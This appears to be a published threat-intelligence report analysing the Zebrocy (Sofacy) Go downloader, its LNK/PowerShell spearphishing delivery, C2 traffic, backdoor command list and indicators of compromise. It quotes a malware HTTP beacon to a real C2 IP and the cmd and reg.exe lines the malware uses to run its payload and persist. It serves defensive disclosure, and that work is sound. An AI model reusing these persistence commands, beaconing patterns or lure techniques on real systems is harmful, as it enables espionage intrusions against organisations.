A Zebrocy Go Downloader

By GReAT

Published: 2019-01-11 · Archived: 2026-04-05 17:14:02 UTC

Last year at SAS2018 in Cancun, Mexico, "Masha and these Bears" included discussion of a subset of Sofacy activity and malware that we call "Zebrocy", and predictions for the decline of SPLM/XAgent Sofacy activity coinciding with the acceleration of Zebrocy activity and innovation. Zebrocy was initially introduced as a Sofacy backdoor package in 2015, but the Zebrocy cluster has carved a new approach to malware development and delivery to the world of Sofacy. In line with this approach, we will present more on this Zebrocy innovation and activity playing out at SAS 2019 in Singapore.

Our colleagues at Palo Alto recently posted an analysis of Zebrocy malware. The analysis is good and marked their first detection of a Zebrocy Go variant as October 11, 2018. Because there is much to this cluster, clarifying and adding to the discussion is always productive.

Our original "Zebrocy Innovates – Layered Spearphishing Attachments and Go Downloaders" June 2018 writeup documents the very same downloader, putting the initial deployment of Zebrocy Go downloader activity at May 10, 2018. And while the targeting in the May event was most likely different from the October event, we documented this same Go downloader and same C2 was used to target a Kyrgyzstan organization. Also interesting is that the exact same system was a previous Zebrocy target earlier in 2018. So, knowing that this same activity is being reported on as "new" six months later tells us a bit about the willingness of this group to re-use rare components and infrastructure across different targets.

While they are innovating with additional languages, as we predicted in early 2018, their infrastructure and individual components may have more longevity than predicted. Additionally, at the beginning of 2018, we predicted the volume of Zebrocy activity and innovation will continue to increase, while the more traditional SPLM/XAgent activity will continue to decline. Reporting on SPLM/XAgent certainly has followed this course in 2018 as SPLM/XAgent detections wind down globally, as has Sofacy's use of this malware from our perspective.

Much of the content below is reprinted from our June document.

The Sofacy subset we identify as "Zebrocy" continues to target Central Asian government related organizations, both in-country and remote locations, along with a new middle eastern diplomatic target. And, as predicted, they continue to build out their malware set with a variety of scripts and managed code. In this case, we see new spearphishing components – an LNK file maintaining powershell scripts and a Go-implemented system information collector/downloader. This is the first time we have observed a well-known APT deploy malware with this compiled, open source language "Go". There is much continued recent Zebrocy activity using their previously known malware set as well.

Starting in May 2018, Zebrocy spearphished Central Asian government related targets directly with this new Go downloader. For example, the attachment name included one "30-144.arj" compressed archive, an older archiver type handled by 7zip, Rar/WinRAR, and others. Users found "30-144.exe" inside the archive with an altered file

icon made to look like the file was a Word document (regardless of the .exe file extension). And in a similar fashion in early June, Zebrocy spearphished over a half-dozen accounts targeting several Central Asian countries' diplomatic organizations with a similar scheme "2018-05-Invitation-Letter(1).rar//2018-05-Invitation-Letter(pril).docx", sending out a more common Zebrocy Delphi downloader.

In other cases, delivery of the new Go downloader was not straightforward. The new Go downloader also was delivered with a new spearphishing object that rolls up multiple layers of LNK file, powershell scripts, base64 encoded content, .docx files and the Go downloader files. The downloader is an unusually large executable at over 1.5mb, written to disk and launched by a powershell script. So the attachment that arrived over email was large. The powershell script reads the file's contents from a very large LNK file that was included as an email attachment, and then writes it to disk along with a Word document of the same name. So, launching the downloader is followed with the opening of an identically named decoy word document with "WINWORD.EXE" /n "***\30-276(pril).docx" /o". The downloader collects a large amount of system information and POSTs it to a known Zebrocy C2, then pulls down known Zebrocy Delphi payload code, launches it, and deletes itself.

We observed previous, somewhat similar spearphishing scenarios with an archive containing .LNK, .docx, and base64 encoded executable code, delivering offensive Finfisher objects in separate intrusion activity clusters. This activity was not Sofacy, but the spearphishing techniques were somewhat similar – the layered powershell script attachment technique is not the same, but not altogether new.

And, it is important to reiterate that these Central Asian government and diplomatic targets are often geolocated remotely. In the list of target geolocations, notice countries like South Korea, the Netherlands, etc. In addition to Zebrocy Go downloader data, this report provides data on various other observed Zebrocy malware and targets over the past three months.

Spreading

Mostly all observed Zebrocy activity involves spearphishing. Spearphish attachments arrive with .rar or .arj extensions. Filename themes include official government correspondence invitations, embassy notes, and other relevant items of interest to diplomatic and government staff. Enclosed objects may be LNK, docx, or exe files.

A decoy PDF that directly targeted a Central Asian nation is included in one of the .arj attachments alongside the Go downloader. The content is titled "Possible joint projects in cooperation with the International Academy of Sciences" and lists multiple potential projects requiring international cooperation with Tajikistan and other countries. This document appears to be a legitimate one that was stolen, created mid-May 2018. While we cannot reprint potentially leaked information publicly, clearly, the document was intended for a Russian-language reader.

Powershell launcher from within LNK

The LNK containing two layers of powershell script and base64 encoded content is an unusual implementation – contents from a couple are listed at the technical appendix. When opened, the script opens the shortcut file it is delivered within ("30-276(pril).docx.lnk"), pulls out the base64 encoded contents (in one case, from byte 3507 to byte 6708744), base64 decodes the content and another layer of the same powershell decoding. This script writes two files to disk as "30-276(pril).exe" and "30-276(pril).docx" and opens both files, leading to the launch of the Go language system information collector/downloader and a decoy Word document.

Go System Information Collector/Downloader

Md5	333d2b9e99b36fb42f9e79a2833fad9c
Sha256	fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e
Size	1.79mb (upx packed – 3.5mb upx unpacked)
CompiledOn	Stomped (Wed Dec 31 17:00:00 1969)
Type	PE 32-bit Go executable
Name	30-276(pril).exe

This new Go component not only downloads and executes another Zebrocy component, but it enumerates and collects a fair amount of system data for upload to its C2, prior to downloading and executing any further modules. It simply collects data using the systeminfo utility, and in turn makes a variety of WMI calls.

After collecting system information, the backdoor calls out to POST to its hardcoded C2, in this case a hardcoded IP/Url. Note that the backdoor simply uses the default Go user-agent:
“POST /technet-support/library/online-service-description.php?id_name=345XXXD5
HTTP/1.1
Host: 89.37.226.148
User-Agent: Go-http-client/1.1”

With this POST, the module uploads all of the system information it just gathered with the exhaustive systeminfo utility over http: hostname, date/time, all hardware, hotfix, service and software information.

The module then retrieves the gzip’d, better known Zebrocy dropper over port 80 as part of an encoded jpg file, writes it to disk, and executes from a command line:
“cmd /C c:\users\XXX\appdata\local\Identities\{83AXXXXX-986F-1673-091A-02XXXXXXXXXX}\w32srv.exe”
and adds a run key persistence entry with the system utility reg.exe:
cmd /C “reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Driveupd /d c:\users\XXX\appdata\local\Identities\{83AXXXXX-986F-1673-091A-02XXXXXXXXXX}\w32srv.exe /f”

Zebrocy AutoIT Dropper

Md5	3c58ed6913593671666283cb7315dec3
Sha256	96c3700ad639faa85982047e05fbd71c3dfd502b09f9860685498124e7dbaa46
Size	478.5kb (upx-packed)
Compiled	Fri Apr 27 06:40:32 2018
Type	PE32 AutoIT executable
Path, Name	appdata\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe

This AutoIT dropper writes out a Delphi payload, consistent with previous behavior going back to November 2015, initially described in our January 2016 report “Zebrocy – Sofacy APT Deploys New Delphi Payload”.

Zebrocy Delphi Payload

Md5	2f83acae57f040ac486eca5890649381
Sha256	f9e96b2a453ff8922b1e858ca2d74156cb7ba5e04b3e936b77254619e6afa4e8
Size	786kb
Compiled	Fri Jun 19 16:22:17 1992 (stomped/altered)
Type	PE32 exe [v4.7.7]
Path, Name	c:\ProgramData\Protection\Active\armpro.exe

Interestingly the final payload reverts back to an earlier version [v4.7.7]. A “TURBO” command is missing from this Zebrocy Delphi backdoor command list .

SYS_INFO
SCAN_ALL
SCAN_LIST
DOWNLOAD_DAY
DOWNLOAD_LIST
CREATE_FOLDER
UPLOAD_FILE
FILE_EXECUTE
DELETE_FILES
REG_WRITE_VALUE
REG_READ_VALUE
REG_DELETE_VALUE
REG_GET_KEYS_VALUES
REG_DELETE_KEY
KILL_PROCESS
CONFIG
GET_NETWORK
CMD_EXECUTE
DOWNLOAD_DATE
DELETE_FOLDER
UPLOAD_AND_EXECUTE_FILE
SCREENSHOTS
FILE_EXECUTE
SET_HIDDEN_ATTR
START
STOP
KILL_MYSELF

Infrastructure

Zebrocy backdoors are configured to directly communicate with IP assigned web server hosts over port 80, and apparently the group favors Debian Linux for this part of infrastructure: Apache 2.4.10 running on Debian Linux. A somewhat sloppy approach continues, and the group set up and configured one of the sites with digital

certificates using a typical Sofacy-sounding domain that they have not yet registered: “weekpost.org”. Digital certificate details are provided in the appendix.

These “fast setup” VPS servers run in “qhoster[.]com” can be paid for with Webmoney, Bitcoin, Litecoin, Dash, Alfa Click, Qiwi, transfers from Sberbank Rossii, Svyaznoy, Promsvyazbank, and more. Although, it appears that Bitcoin and Dash may be of the most interest to help ensure anonymous transactions. Dataclub provides similar payment methods:

One of the VPS IP addresses (80.255.12[.]252) is hosted in the “afterburst[.]com”/Oxygem range. This service is the odd one out and is unusual because it only supports VISA/major credit cards and Paypal at checkout. If other payment options are provided, they are not a part of the public interface.

Victims and Targeting

Zebrocy Go downloader 2018 targets continue to be Central Asian government foreign policy and administrative related. Some of these organizations are geolocated in-country, or locally, and some are located remotely. In several cases, these same systems have seen multiple artefacts from Zebrocy over the course of 2017 and early 2018:

- Kazakhstan
- Kyrgyzstan
- Azerbaijan
- Tajikistan

Additional recent Zebrocy target geo-locations (targeting various Central Asian/ex-USSR local and remote government locations):

- Qatar
- Ukraine
- Czech Republic
- Mongolia
- Jordan
- Germany
- Belgium
- Iran
- Turkey
- Armenia
- Afghanistan
- South Korea
- Turkmenistan
- Kazakhstan

• Netherlands
• Kuwait
• United Arab Emirates
• Spain
• Poland
• Qatar
• Oman
• Switzerland
• Mongolia
• Kyrgyzstan
• United Kingdom

Attribution

Zebrocy activity is a known subset of Sofacy activity. We predicted that they would continue to innovate within their malware development after observing past behavior, developing with Delphi, AutoIT, .Net C#, Powershell, and now “Go” languages. Their continued targeting, phishing techniques, infrastructure setup, technique and malware innovation, and previously known backdoors help provide strong confidence that this activity continues to be Zebrocy.

Conclusions

Zebrocy continues to maintain a higher level of volume attacking local and remote ex-USSR republic Central Asian targets than other clusters of targeted Sofacy activity. Also interesting with this Sofacy sub-group is the innovation that we continue to see within their malware development. Much of the spearphishing remains thematically the same, but the remote locations of these Central Asian targets are becoming more spread out – South Korea, Netherlands, etc. While their focus has been on Windows users, it seems that we can expect the group to continue making more innovations within their malware set. Perhaps all their components will soon support all OS platforms that their targets may be using, including Linux and MacOS. Zebrocy spearphishing continues to be characteristically higher volume for a targeted attacker, and most likely that trend will continue. And, as their spearphishing techniques progress to rival Finfisher techniques without requiring zero-day exploitation, perhaps Zebrocy will expand their duplication of more sources of open source spearphishing techniques.

IoC

Go downloader

333d2b9e99b36fb42f9e79a2833fad9c

IPs

80.255.12.252
89.37.226.148
46.183.218.34

185.77.131.110
92.114.92.128

URLs

/technet-support/library/online-service-description.php?id_name=XXXXX
/software-apptication/help-support-apl/getidpolapl.php

File – paths and names

30-276(pril).exe
30-144-(copy).exe
Embassy Note No.259.docx.lnk
2018-05-Invitation-Letter(1).rar//2018-05-Invitation-Letter(pril).docx

---